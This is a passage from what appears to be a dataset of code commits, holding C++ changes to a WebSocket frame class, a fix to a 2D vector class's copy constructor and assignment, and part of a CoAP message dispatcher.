static_cast<uint16_t>(size);\n\t\twriter->write(&size16, sizeof(size16));\n\t}\n\telse if (size > 65535)\n\t{\n\t\tuint64_t size64 = static_cast<uint64_t>(size);\n\t\twriter->write(&size64, sizeof(size64));\n\t}\n\n\tif (!masked)\n\t{\n\t\twriter->write(data, size);\n\t\treturn;\n\t}\n\n\tunion {\n\t\tuint32_t i;\n\t\tuint8_t b[4];\n\t} mask;\n\n\tmask.i = static_cast<uint32_t>(std::rand());\n\n\tfor (size_t i = 0; i < sizeof(mask.b); i++)\n\t{\n\t\twriter->write(&mask.b[i], 1);\n\t}\n\n\tint i = 0;\n\twhile (size--)\n\t{\n\t\tbyte = static_cast<uint8_t>(*data++) ^ mask.b[i++];\n\n\t\twriter->write(&byte, sizeof(byte));\n\n\t\tif (i == 4)\n\t\t{\n\t\t\ti = 0;\n\t\t}\n\t}\n}\n<commit_msg>Improve WsFrame for performance<commit_after>\/\/ Copyright © 2017 Dmitriy Khaustov\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Author: Dmitriy Khaustov aka xDimon\n\/\/ Contacts: khaustov.dm@gmail.com\n\/\/ File created on: 2017.03.31\n\n\/\/ WsFrame.cpp\n\n\n#include <cstring>\n#include \"WsFrame.hpp\"\n\n#include \"..\/..\/utils\/literals.hpp\"\n\nsize_t WsFrame::calcHeaderSize(const char data[2])\n{\n\tuint8_t prelen = (data[1] >> 0) & 0x7F_u8;\n\tuint8_t masked = (data[1] >> 7) & 0x01_u8;\n\n\treturn 2\t\t\t\t\t\t\t\t\t\t\t\t\/\/ Стартовые байты\n\t\t+ ((prelen <= 125) ? 0 : (prelen == 126) ? 2 : 8)\t\/\/ Байты расширенной длины\n\t\t+ ((!masked) ? 0 : 4);\t\t\t\t\t\t\t\t\/\/ Байты маски\n}\n\n\nWsFrame::WsFrame(const char *begin, const char *end)\n{\n\tauto s = begin;\n\n\t_finaly = static_cast<bool>((s[0] >> 7) & 0x01);\n\t_opcode = static_cast<Opcode>((s[0] >> 0) & 0x0F);\n\t_masked = static_cast<bool>((s[1] >> 7) & 0x01);\n\n\tuint8_t prelen = (s[1] >> 0) & 0x7F_u8;\n\tif ((s + 2) > end)\n\t{\n\t\tthrow std::runtime_error(\"Not anough data\");\n\t}\n\ts += 2;\n\n\tif (prelen < 126)\n\t{\n\t\t_length = prelen;\n\t}\n\telse if (prelen == 126)\n\t{\n\t\tif ((s + 2) > end)\n\t\t{\n\t\t\tthrow std::runtime_error(\"Not anough data\");\n\t\t}\n\t\tuint16_t length;\n\t\tmemcpy(&length, s, sizeof(length));\n\t\ts += sizeof(length);\n\t\t_length = be16toh(length);\n\t}\n\telse if (prelen == 127)\n\t{\n\t\tif ((s + 8) > end)\n\t\t{\n\t\t\tthrow std::runtime_error(\"Not anough data\");\n\t\t}\n\t\tuint64_t length;\n\t\tmemcpy(&length, s, sizeof(length));\n\t\ts += sizeof(length);\n\t\t_length = be64toh(length);\n\t}\n\n\tif (_masked)\n\t{\n\t\tif ((s + 4) > end)\n\t\t{\n\t\t\tthrow std::runtime_error(\"Not anough data\");\n\t\t}\n\t\t_mask[0] = static_cast<uint8_t>(*s++);\n\t\t_mask[1] = static_cast<uint8_t>(*s++);\n\t\t_mask[2] = static_cast<uint8_t>(*s++);\n\t\t_mask[3] = static_cast<uint8_t>(*s++);\n\t}\n\telse\n\t{\n\t\t_mask[0] =\n\t\t_mask[1] =\n\t\t_mask[2] =\n\t\t_mask[3] = 0;\n\t}\n}\n\nvoid WsFrame::applyMask()\n{\n\tif (!_masked)\n\t{\n\t\treturn;\n\t}\n\tint i = 0;\n\tsize_t remain = dataLen();\n\tfor (auto &b : _data)\n\t{\n\t\tb ^= _mask[i++];\n\t\tif (!--remain) break;\n\t\tif (i == 4)\n\t\t{\n\t\t\ti = 0;\n\t\t}\n\t}\n}\n\nvoid WsFrame::send(std::shared_ptr<Writer> writer, Opcode code, const char *data, size_t size)\n{\n\tbool masked = false;\n\tuint8_t byte;\n\n\tbyte = (1_u8 << 7) | static_cast<uint8_t>(code);\n\twriter->write(&byte, sizeof(byte));\n\n\tbyte = static_cast<uint8_t>((size > 65535) ? 127 : (size > 125) ? 126 : size);\n\tif (masked)\n\t{\n\t\tbyte |= (1_u8 << 7);\n\t}\n\twriter->write(&byte, sizeof(byte));\n\n\tif (size > 65535)\n\t{\n\t\tuint64_t size64 = htobe64(static_cast<uint64_t>(size));\n\t\twriter->write(&size64, sizeof(size64));\n\t}\n\telse if (size > 125)\n\t{\n\t\tuint16_t size16 = htobe16(static_cast<uint16_t>(size));\n\t\twriter->write(&size16, sizeof(size16));\n\t}\n\n\tif (!masked)\n\t{\n\t\twriter->write(data, size);\n\t\treturn;\n\t}\n\n\tunion {\n\t\tuint32_t i;\n\t\tuint8_t b[4];\n\t} mask;\n\n\tmask.i = static_cast<uint32_t>(std::rand());\n\n\tfor (size_t i = 0; i < sizeof(mask.b); i++)\n\t{\n\t\twriter->write(&mask.b[i], 1);\n\t}\n\n\tint i = 0;\n\twhile (size--)\n\t{\n\t\tbyte = static_cast<uint8_t>(*data++) ^ mask.b[i++];\n\n\t\twriter->write(&byte, sizeof(byte));\n\n\t\tif (i == 4)\n\t\t{\n\t\t\ti = 0;\n\t\t}\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ -------------------------------------------------------------------------\r\n\/\/    @FileName         :    NFVector2.h\r\n\/\/    @Author           :    LvSheng.Huang\r\n\/\/    @Date             :    2016-09-27\r\n\/\/    @Module           :    NFVector2\r\n\/\/\r\n\/\/ -------------------------------------------------------------------------\r\n\r\n#ifndef NF_VETOR2_H\r\n#define NF_VETOR2_H\r\n\r\n#include <iostream>\r\n#include <string>\r\n#include <vector>\r\n#include \"NFComm\/NFPluginModule\/NFPlatform.h\"\r\n\r\nclass NFLine;\r\nclass NFBox;\r\nclass NFPlane;\r\nclass NFVector3;\r\n\r\nclass NFVector2\r\n{\r\nprivate:\r\n\tfloat x, y;\r\n\tvoid InitData()\r\n\t{\r\n\t\tx = 0.0f;\r\n\t\ty = 0.0f;\r\n\t}\r\n\r\npublic:\r\n\t\/\/ construction\r\n\tNFVector2()\r\n\t{\r\n\t\tInitData();\r\n\t}\r\n\r\n\tNFVector2(float x, float y)\r\n\t{\r\n\t\tthis->x = x;\r\n\t\tthis->y = y;\r\n\t}\r\n\r\n\tNFVector2(float coordinate[2])\r\n\t{\r\n\t\tthis->x = coordinate[0];\r\n\t\tthis->y = coordinate[1];\r\n\t}\r\n\r\n\tNFVector2(double coordinate[2])\r\n\t{\r\n\t\tthis->x = coordinate[0];\r\n\t\tthis->y = coordinate[1];\r\n\t}\r\n\r\n\tNFVector2(const NFVector2& v)\r\n\t{\r\n\t\tthis->x = v.x;\r\n\t\tthis->y = v.x;\r\n\t}\r\n\r\n\tbool operator<(const NFVector2& v) const\r\n\t{\r\n\t\treturn this->Length() < v.Length();\r\n\t}\r\n\r\n\tbool operator>(const NFVector2& v) const\r\n\t{\r\n\t\treturn this->Length() > v.Length();\r\n\t}\r\n\r\n\tNFVector2& operator= (const NFVector2& v)\r\n\t{\r\n\t\tthis->x = v.x;\r\n\t\tthis->y = v.x;\r\n\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tbool operator== (const NFVector2& v) const\r\n\t{\r\n\t\treturn std::abs(this->x - v.x) < 0.001f && std::abs(this->y - v.y) < 0.001f;\r\n\t}\r\n\r\n\tbool operator!= (const NFVector2& v) const\r\n\t{\r\n\t\treturn std::abs(this->x - v.x) >= 0.001f || std::abs(this->y - v.y) >= 0.001f;\r\n\t}\r\n\t\/\/----------------------------------------------------------------------------\r\n\t\/\/ Arithmetic Operations\r\n\tNFVector2 operator+ (const NFVector2& v) const\r\n\t{\r\n\t\tNFVector2 xV;\r\n\r\n\t\txV.x = this->x + v.x;\r\n\t\txV.y = this->y + v.y;\r\n\t\treturn xV;\r\n\t}\r\n\r\n\tNFVector2 operator- (const NFVector2& v) const\r\n\t{\r\n\t\tNFVector2 xV;\r\n\r\n\t\txV.x = this->x - v.x;\r\n\t\txV.y = this->y - v.y;\r\n\t\treturn xV;\r\n\t}\r\n\r\n\tNFVector2 operator- () const\r\n\t{\r\n\t\treturn NFVector2(-x, -y);\r\n\t}\r\n\r\n\tNFVector2 operator* (float s) const\r\n\t{\r\n\t\treturn NFVector2(x * s, y * s);\r\n\t}\r\n\r\n\tNFVector2 operator\/ (float s) const\r\n\t{\r\n\t\tif (std::abs(s) > 0.001f)\r\n\t\t{\r\n\t\t\treturn NFVector2(x \/ s, y \/ s);\r\n\t\t}\r\n\r\n\t\treturn Zero();\r\n\t}\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\t\/\/ Arithmetic Updates\r\n\tNFVector2& operator+= (const NFVector2& v)\r\n\t{\r\n\t\tx += v.x;\r\n\t\ty += v.y;\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tNFVector2& operator-= (const NFVector2 v)\r\n\t{\r\n\t\tx -= v.x;\r\n\t\ty -= v.y;\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tNFVector2& operator*= (float s)\r\n\t{\r\n\t\tx *= s;\r\n\t\ty *= s;\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tNFVector2 operator\/= (float s)\r\n\t{\r\n\t\t\/\/if (std::abs(s) > 0.001f)\r\n\t\t{\r\n\t\t\treturn NFVector2(x \/ s, y \/ s);\r\n\t\t}\r\n\r\n\t\t\/\/return Zero();\r\n\t}\r\n\r\n\tfloat X() const\r\n\t{\r\n\t\treturn this->x;\r\n\t}\r\n\t\r\n\tfloat Y() const\r\n\t{\r\n\t\treturn this->y;\r\n\t}\r\n\r\n\tvoid SetX(float x)\r\n\t{\r\n\t\tthis->x = x;\r\n\t}\r\n\r\n\tvoid SetY(float y)\r\n\t{\r\n\t\tthis->y = y;\r\n\t}\r\n\r\n\tbool IsZero() const\r\n\t{\r\n\t\treturn x < 0.001f && y < 0.001f;\r\n\t}\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\tinline float SquaredMagnitude() const\r\n\t{\r\n\t\treturn x*x + y*y;\r\n\t}\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\tinline float SquaredLength() const\r\n\t{\r\n\t\treturn SquaredMagnitude();\r\n\t}\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\tinline float Magnitude() const\r\n\t{\r\n\t\treturn sqrtf(x*x + y*y);\r\n\t}\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\tinline float Length() const\r\n\t{\r\n\t\treturn Magnitude();\r\n\t}\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\tinline NFVector2 Direction() const\r\n\t{\r\n\t\tif (this->IsZero())\r\n\t\t{\r\n\t\t\treturn Zero();\r\n\t\t}\r\n\r\n\t\tfloat lenSquared = SquaredMagnitude();\r\n\t\tfloat invSqrt = 1.0f \/ sqrtf(lenSquared);\r\n\t\treturn NFVector2(x * invSqrt, y * invSqrt);\r\n\t}\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\tinline NFVector2 Normalized() const\r\n\t{\r\n\t\treturn Direction();\r\n\t}\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\tfloat Distance(const NFVector2& v) const\r\n\t{\r\n\t\tNFVector2 vX = *this - v;\r\n\t\treturn vX.Length();\r\n\t}\r\n\r\n\r\n\tbool FromString(const std::string& value)\r\n\t{\r\n\t\tstd::vector<std::string> values;\r\n\t\tSplit(value, values, \",\");\r\n\t\tif (values.size() != 2)\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tx = lexical_cast<float>(values.at(0));\r\n\t\ty = lexical_cast<float>(values.at(1));\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\n\tstd::string ToString() const\r\n\t{\r\n\t\treturn lexical_cast<std::string>(x) + \",\" + lexical_cast<std::string>(this->y);\r\n\t}\r\n\r\n\t\/\/ Special values.\r\n\tinline static const NFVector2& Zero()\r\n\t{\r\n\t\tstatic NFVector2 v(0, 0);\r\n\t\treturn v;\r\n\t}\r\n\r\n\tinline static const NFVector2& One()\r\n\t{\r\n\t\tstatic NFVector2 v(1, 1);\r\n\t\treturn v;\r\n\t}\r\n\r\n\tinline static const NFVector2& UnitX()\r\n\t{\r\n\t\tstatic NFVector2 v(1, 0);\r\n\t\treturn v;\r\n\t}\r\n\r\n\tinline static const NFVector2& UnitY()\r\n\t{\r\n\t\tstatic NFVector2 v(0, 1);\r\n\t\treturn v;\r\n\t}\r\n\r\n\tbool Split(const std::string& str, std::vector<std::string>& result, std::string delim)\r\n\t{\r\n\t\tif (str.empty())\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tstd::string tmp;\r\n\t\tsize_t pos_begin = str.find_first_not_of(delim);\r\n\t\tsize_t pos = 0;\r\n\t\twhile (pos_begin != std::string::npos)\r\n\t\t{\r\n\t\t\tpos = str.find(delim, pos_begin);\r\n\t\t\tif (pos != std::string::npos)\r\n\t\t\t{\r\n\t\t\t\ttmp = str.substr(pos_begin, pos - pos_begin);\r\n\t\t\t\tpos_begin = pos + delim.length();\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\ttmp = str.substr(pos_begin);\r\n\t\t\t\tpos_begin = pos;\r\n\t\t\t}\r\n\r\n\t\t\tif (!tmp.empty())\r\n\t\t\t{\r\n\t\t\t\tresult.push_back(tmp);\r\n\t\t\t\ttmp.clear();\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn true;\r\n\t}\r\n};\r\n\r\n#endif<commit_msg>fixed for NFVector2<commit_after>\/\/ -------------------------------------------------------------------------\r\n\/\/    @FileName         :    NFVector2.h\r\n\/\/    @Author           :    LvSheng.Huang\r\n\/\/    @Date             :    2016-09-27\r\n\/\/    @Module           :    NFVector2\r\n\/\/\r\n\/\/ -------------------------------------------------------------------------\r\n\r\n#ifndef NF_VETOR2_H\r\n#define NF_VETOR2_H\r\n\r\n#include <iostream>\r\n#include <string>\r\n#include <vector>\r\n#include \"NFComm\/NFPluginModule\/NFPlatform.h\"\r\n\r\nclass NFLine;\r\nclass NFBox;\r\nclass NFPlane;\r\nclass NFVector3;\r\n\r\nclass NFVector2\r\n{\r\nprivate:\r\n\tfloat x, y;\r\n\tvoid InitData()\r\n\t{\r\n\t\tx = 0.0f;\r\n\t\ty = 0.0f;\r\n\t}\r\n\r\npublic:\r\n\t\/\/ construction\r\n\tNFVector2()\r\n\t{\r\n\t\tInitData();\r\n\t}\r\n\r\n\tNFVector2(float x, float y)\r\n\t{\r\n\t\tthis->x = x;\r\n\t\tthis->y = y;\r\n\t}\r\n\r\n\tNFVector2(float coordinate[2])\r\n\t{\r\n\t\tthis->x = coordinate[0];\r\n\t\tthis->y = coordinate[1];\r\n\t}\r\n\r\n\tNFVector2(double coordinate[2])\r\n\t{\r\n\t\tthis->x = coordinate[0];\r\n\t\tthis->y = coordinate[1];\r\n\t}\r\n\r\n\tNFVector2(const NFVector2& v)\r\n\t{\r\n\t\tthis->x = v.x;\r\n\t\tthis->y = v.y;\r\n\t}\r\n\r\n\tbool operator<(const NFVector2& v) const\r\n\t{\r\n\t\treturn this->Length() < v.Length();\r\n\t}\r\n\r\n\tbool operator>(const NFVector2& v) const\r\n\t{\r\n\t\treturn this->Length() > v.Length();\r\n\t}\r\n\r\n\tNFVector2& operator= (const NFVector2& v)\r\n\t{\r\n\t\tthis->x = v.x;\r\n\t\tthis->y = v.y;\r\n\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tbool operator== (const NFVector2& v) const\r\n\t{\r\n\t\treturn std::abs(this->x - v.x) < 0.001f && std::abs(this->y - v.y) < 0.001f;\r\n\t}\r\n\r\n\tbool operator!= (const NFVector2& v) const\r\n\t{\r\n\t\treturn std::abs(this->x - v.x) >= 0.001f || std::abs(this->y - v.y) >= 0.001f;\r\n\t}\r\n\t\/\/----------------------------------------------------------------------------\r\n\t\/\/ Arithmetic Operations\r\n\tNFVector2 operator+ (const NFVector2& v) const\r\n\t{\r\n\t\tNFVector2 xV;\r\n\r\n\t\txV.x = this->x + v.x;\r\n\t\txV.y = this->y + v.y;\r\n\t\treturn xV;\r\n\t}\r\n\r\n\tNFVector2 operator- (const NFVector2& v) const\r\n\t{\r\n\t\tNFVector2 xV;\r\n\r\n\t\txV.x = this->x - v.x;\r\n\t\txV.y = this->y - v.y;\r\n\t\treturn xV;\r\n\t}\r\n\r\n\tNFVector2 operator- () const\r\n\t{\r\n\t\treturn NFVector2(-x, -y);\r\n\t}\r\n\r\n\tNFVector2 operator* (float s) const\r\n\t{\r\n\t\treturn NFVector2(x * s, y * s);\r\n\t}\r\n\r\n\tNFVector2 operator\/ (float s) const\r\n\t{\r\n\t\tif (std::abs(s) > 0.001f)\r\n\t\t{\r\n\t\t\treturn NFVector2(x \/ s, y \/ s);\r\n\t\t}\r\n\r\n\t\treturn Zero();\r\n\t}\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\t\/\/ Arithmetic Updates\r\n\tNFVector2& operator+= (const NFVector2& v)\r\n\t{\r\n\t\tx += v.x;\r\n\t\ty += v.y;\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tNFVector2& operator-= (const NFVector2 v)\r\n\t{\r\n\t\tx -= v.x;\r\n\t\ty -= v.y;\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tNFVector2& operator*= (float s)\r\n\t{\r\n\t\tx *= s;\r\n\t\ty *= s;\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tNFVector2 operator\/= (float s)\r\n\t{\r\n\t\t\/\/if (std::abs(s) > 0.001f)\r\n\t\t{\r\n\t\t\treturn NFVector2(x \/ s, y \/ s);\r\n\t\t}\r\n\r\n\t\t\/\/return Zero();\r\n\t}\r\n\r\n\tfloat X() const\r\n\t{\r\n\t\treturn this->x;\r\n\t}\r\n\t\r\n\tfloat Y() const\r\n\t{\r\n\t\treturn this->y;\r\n\t}\r\n\r\n\tvoid SetX(float x)\r\n\t{\r\n\t\tthis->x = x;\r\n\t}\r\n\r\n\tvoid SetY(float y)\r\n\t{\r\n\t\tthis->y = y;\r\n\t}\r\n\r\n\tbool IsZero() const\r\n\t{\r\n\t\treturn x < 0.001f && y < 0.001f;\r\n\t}\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\tinline float SquaredMagnitude() const\r\n\t{\r\n\t\treturn x*x + y*y;\r\n\t}\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\tinline float SquaredLength() const\r\n\t{\r\n\t\treturn SquaredMagnitude();\r\n\t}\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\tinline float Magnitude() const\r\n\t{\r\n\t\treturn sqrtf(x*x + y*y);\r\n\t}\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\tinline float Length() const\r\n\t{\r\n\t\treturn Magnitude();\r\n\t}\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\tinline NFVector2 Direction() const\r\n\t{\r\n\t\tif (this->IsZero())\r\n\t\t{\r\n\t\t\treturn Zero();\r\n\t\t}\r\n\r\n\t\tfloat lenSquared = SquaredMagnitude();\r\n\t\tfloat invSqrt = 1.0f \/ sqrtf(lenSquared);\r\n\t\treturn NFVector2(x * invSqrt, y * invSqrt);\r\n\t}\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\tinline NFVector2 Normalized() const\r\n\t{\r\n\t\treturn Direction();\r\n\t}\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\tfloat Distance(const NFVector2& v) const\r\n\t{\r\n\t\tNFVector2 vX = *this - v;\r\n\t\treturn vX.Length();\r\n\t}\r\n\r\n\r\n\tbool FromString(const std::string& value)\r\n\t{\r\n\t\tstd::vector<std::string> values;\r\n\t\tSplit(value, values, \",\");\r\n\t\tif (values.size() != 2)\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tx = lexical_cast<float>(values.at(0));\r\n\t\ty = lexical_cast<float>(values.at(1));\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\n\tstd::string ToString() const\r\n\t{\r\n\t\treturn lexical_cast<std::string>(x) + \",\" + lexical_cast<std::string>(this->y);\r\n\t}\r\n\r\n\t\/\/ Special values.\r\n\tinline static const NFVector2& Zero()\r\n\t{\r\n\t\tstatic NFVector2 v(0, 0);\r\n\t\treturn v;\r\n\t}\r\n\r\n\tinline static const NFVector2& One()\r\n\t{\r\n\t\tstatic NFVector2 v(1, 1);\r\n\t\treturn v;\r\n\t}\r\n\r\n\tinline static const NFVector2& UnitX()\r\n\t{\r\n\t\tstatic NFVector2 v(1, 0);\r\n\t\treturn v;\r\n\t}\r\n\r\n\tinline static const NFVector2& UnitY()\r\n\t{\r\n\t\tstatic NFVector2 v(0, 1);\r\n\t\treturn v;\r\n\t}\r\n\r\n\tbool Split(const std::string& str, std::vector<std::string>& result, std::string delim)\r\n\t{\r\n\t\tif (str.empty())\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tstd::string tmp;\r\n\t\tsize_t pos_begin = str.find_first_not_of(delim);\r\n\t\tsize_t pos = 0;\r\n\t\twhile (pos_begin != std::string::npos)\r\n\t\t{\r\n\t\t\tpos = str.find(delim, pos_begin);\r\n\t\t\tif (pos != std::string::npos)\r\n\t\t\t{\r\n\t\t\t\ttmp = str.substr(pos_begin, pos - pos_begin);\r\n\t\t\t\tpos_begin = pos + delim.length();\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\ttmp = str.substr(pos_begin);\r\n\t\t\t\tpos_begin = pos;\r\n\t\t\t}\r\n\r\n\t\t\tif (!tmp.empty())\r\n\t\t\t{\r\n\t\t\t\tresult.push_back(tmp);\r\n\t\t\t\ttmp.clear();\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn true;\r\n\t}\r\n};\r\n\r\n#endif<|endoftext|>"}
{"text":"<commit_before>#define DEBUG2\n\n\/\/\n\/\/ Created by Malachi Burke on 12\/26\/17.\n\/\/\n\n#include \"coap-dispatcher.h\"\n\nnamespace moducom { namespace coap {\n\nnamespace experimental {\n\nconst char* get_description(OptionDecoder::State state)\n{\n    switch(state)\n    {\n        case OptionDecoder::OptionSize:\n            return \"Inspecting initial option data\";\n\n        case OptionDecoder::OptionDeltaDone:\n            return \"Delta (option number) found\";\n\n        case OptionDecoder::Payload:\n            return \"Payload marker found\";\n\n        case OptionDecoder::OptionDelta:\n            return \"Delta found\";\n\n        case OptionDecoder::OptionValue:\n            return \"Inspecting value data\";\n\n        case OptionDecoder::OptionValueDone:\n            return \"Value data complete\";\n\n        case OptionDecoder::OptionDeltaAndLengthDone:\n            return \"Delta and length simultaneously done\";\n\n        default:\n            return NULLPTR;\n    }\n}\n\n#ifdef DEBUG2\nstd::ostream& operator <<(std::ostream& out, OptionDecoder::State state)\n{\n    const char* description = get_description(state);\n\n    if(description != NULLPTR)\n        out << description;\n    else\n        out << (int)state;\n\n    return out;\n}\n#endif\n\n\/\/ TODO: Need a smooth way to ascertain end of CoAP message (remember multipart\/streaming\n\/\/ won't have a discrete message boundary)\nbool Dispatcher::dispatch_iterate(Context& context)\n{\n    const pipeline::MemoryChunk& chunk = context.chunk;\n    size_t& pos = context.pos; \/\/ how far into chunk our locus of processing should be\n    bool process_done = false;\n\n    switch(state())\n    {\n        case Uninitialized:\n            \/\/ If necessary, initialize header decoder\n            state(Header);\n            init_header_decoder();\n            break;\n\n        case Header:\n            while(pos < chunk.length && !process_done)\n            {\n                process_done = headerDecoder.process_iterate(chunk[pos]);\n\n                \/\/ FIX: This meaning I believe is reversed from non decoder process calls\n                \/\/ FIX: process_done does not designate whether bytes were consumed, for\n                \/\/ headerDecoder and tokenDecoder, byte is always consumed\n                pos++;\n            }\n\n            if(process_done) state(HeaderDone);\n\n            break;\n\n        case HeaderDone:\n            dispatch_header();\n            if(headerDecoder.token_length() > 0)\n            {\n                state(Token);\n                \/\/ TODO: May want a TokenStart state\n                init_token_decoder();\n            }\n            else\n                state(OptionsStart);\n            break;\n\n        case Token:\n            while(pos < chunk.length && !process_done)\n            {\n                \/\/ TODO: Utilize a simpler counter and chunk out token\n                process_done = tokenDecoder.process_iterate(chunk[pos], headerDecoder.token_length());\n\n                \/\/ FIX: This meaning I believe is reversed from non decoder process calls\n                \/\/ FIX: process_done does not designate whether bytes were consumed, for\n                \/\/ headerDecoder and tokenDecoder, byte is always consumed\n                pos++;\n            }\n\n            if(process_done) state(TokenDone);\n\n            break;\n\n        case TokenDone:\n            dispatch_token();\n\n            state(OptionsStart);\n            break;\n\n        case OptionsStart:\n            init_option_decoder();\n            optionHolder.number_delta = 0;\n            optionHolder.length = 0;\n            state(Options);\n            break;\n\n        case Options:\n        {\n#ifdef DEBUG2\n            std::clog << __func__ << \": 1 optionDecoder state = \" << (optionDecoder.state()) << std::endl;\n#endif\n\n            pos += dispatch_option(chunk.remainder(pos));\n\n#ifdef DEBUG2\n            std::clog << __func__ << \": 2 optionDecoder state = \" << (optionDecoder.state()) << std::endl;\n#endif\n\n            \/\/ handle option a.1), a.2) or b.1) described below\n            if ((pos == chunk.length && context.last_chunk) || chunk[pos] == 0xFF)\n            {\n                ASSERT_ERROR(true,\n                             (optionDecoder.state() == OptionDecoder::OptionValueDone) ||\n                             (optionDecoder.state() == OptionDecoder::OptionDeltaAndLengthDone),\n                             \"Must be either optionValueDone or optionDeltaAndlengthDone.  Got: \" << optionDecoder.state());\n                \/\/ will check again for 0xFF\n                state(OptionsDone);\n            }\n            else\n            {\n                \/\/ UNSUPPORTED\n                \/\/ b.2 means we are not sure if another option or an incoming chunk[0] == 0xFF is coming\n                \/\/ MAY need an OptionsBoundary state, but hopefully not\n                \/\/ better would be to beef up OptionDecoder awareness of Payload marker\n            }\n\n            break;\n        }\n\n        case OptionsDone:\n            \/\/ TODO: Need to peer into incoming data stream to determine if a payload is on the way\n            \/\/ or not - specifically need to also check size.  Here there are 3 possibilities:\n            \/\/\n            \/\/ a.1) payload marker present, so process a payload, entire chunk \/ datagram remainder present\n            \/\/ a.2) payload marker present, but only partial chunk present, so more payload to process\n            \/\/ b.1) end of datagram - entire chunk present\n            \/\/ b.2) end of chunk - only partial chunk present\n            \/\/ c) as-yet-to-be-determined streaming end of chunk marker\n            if (pos == chunk.length && context.last_chunk)\n            {\n                \/\/ this is for condition b.1)\n                state(Done);\n            }\n            else if (chunk[pos] == 0xFF)\n            {\n                pos++;\n\n                \/\/ this is for condition a.1 or 1.2\n                state(Payload);\n            }\n            else\n            {\n                \/\/ UNSUPPORTED\n                \/\/ falls through to condition c, but could get a false positive on header 0xFF\n                \/\/ so this is unsupported.  Plus we can't really get here properly from Options state\n                state(Done);\n            }\n            break;\n\n        case Payload:\n        {\n            bool last_payload_chunk = context.last_chunk;\n\n            if(pos == 0)\n                \/\/ arrives here in the unlikely case payload starts on new chunk\n                \/\/ boundary\n                dispatch_payload(chunk, last_payload_chunk);\n            else\n                \/\/ typically represents an a.1 scenario, but doesn't have to\n                dispatch_payload(chunk.remainder(pos), last_payload_chunk);\n\n            \/\/ pos not advanced since we expect caller to separate out streaming coap payload end from\n            \/\/ next coap begin and create an artificial chunk boundary\n            pos = chunk.length;\n            state(PayloadDone);\n            break;\n        }\n\n        case PayloadDone:\n            \/\/dispatch_payload(chunk, true);\n            state(Done);\n            break;\n\n        case Done:\n            state(Uninitialized);\n            break;\n    }\n\n    \/\/ TODO: Do an assert to make sure pos never is >\n    ASSERT_ERROR(true, pos <= chunk.length, \"pos should never exceed chunk length\");\n\n    return pos == chunk.length;\n}\n\nvoid Dispatcher::dispatch_header()\n{\n    handler_t* handler = head();\n\n    while(handler != NULLPTR)\n    {\n        handler->on_header(headerDecoder);\n        handler = handler->next();\n    }\n}\n\n\/\/ also handles pre-dispatch processing\n\/\/ 100% untested\nsize_t Dispatcher::dispatch_option(const pipeline::MemoryChunk& optionChunk)\n{\n    \/\/ FIX: we generally expect to be at OptionSize state here, however in the future this\n    \/\/ requirement should go away (once we clean up needs_value_processed behavior)\n    size_t processed_length = optionDecoder.process_iterate(optionChunk, &optionHolder);\n    size_t value_pos = processed_length;\n\n    \/\/ FIX: Kludgey, can really be cleaned up and optimized\n    \/\/ ensures that our linked list doesn't execute process_iterate multiple times to acquire\n    \/\/ option-value.  Instead, our linked list looping might need to happen per state() switched on\n    \/\/ Will also cause problems if there are no registered handlers, since count will be off as\n    \/\/ value is never processed\n    bool needs_value_processed = true;\n    size_t total_length = processed_length;\n\n    handler_t* handler = head();\n\n    while(handler != NULLPTR)\n    {\n        if(handler->is_interested())\n        {\n            switch (optionDecoder.state())\n            {\n                case OptionDecoder::OptionLengthDone:\n                case OptionDecoder::OptionDeltaAndLengthDone:\n                {\n                    handler->on_option((IOptionInput::number_t) optionHolder.number_delta, optionHolder.length);\n\n                    if(needs_value_processed)\n                    {\n                        \/\/ Getting here\n                        processed_length = optionDecoder.process_iterate(optionChunk.remainder(processed_length), &optionHolder);\n                        total_length += processed_length;\n                        needs_value_processed = false;\n                    }\n\n                    \/\/ TODO: Need to demarkate boundary here too so that on_option knows where boundary starts\n                    pipeline::MemoryChunk partialChunk(optionChunk.data + value_pos, processed_length);\n\n                    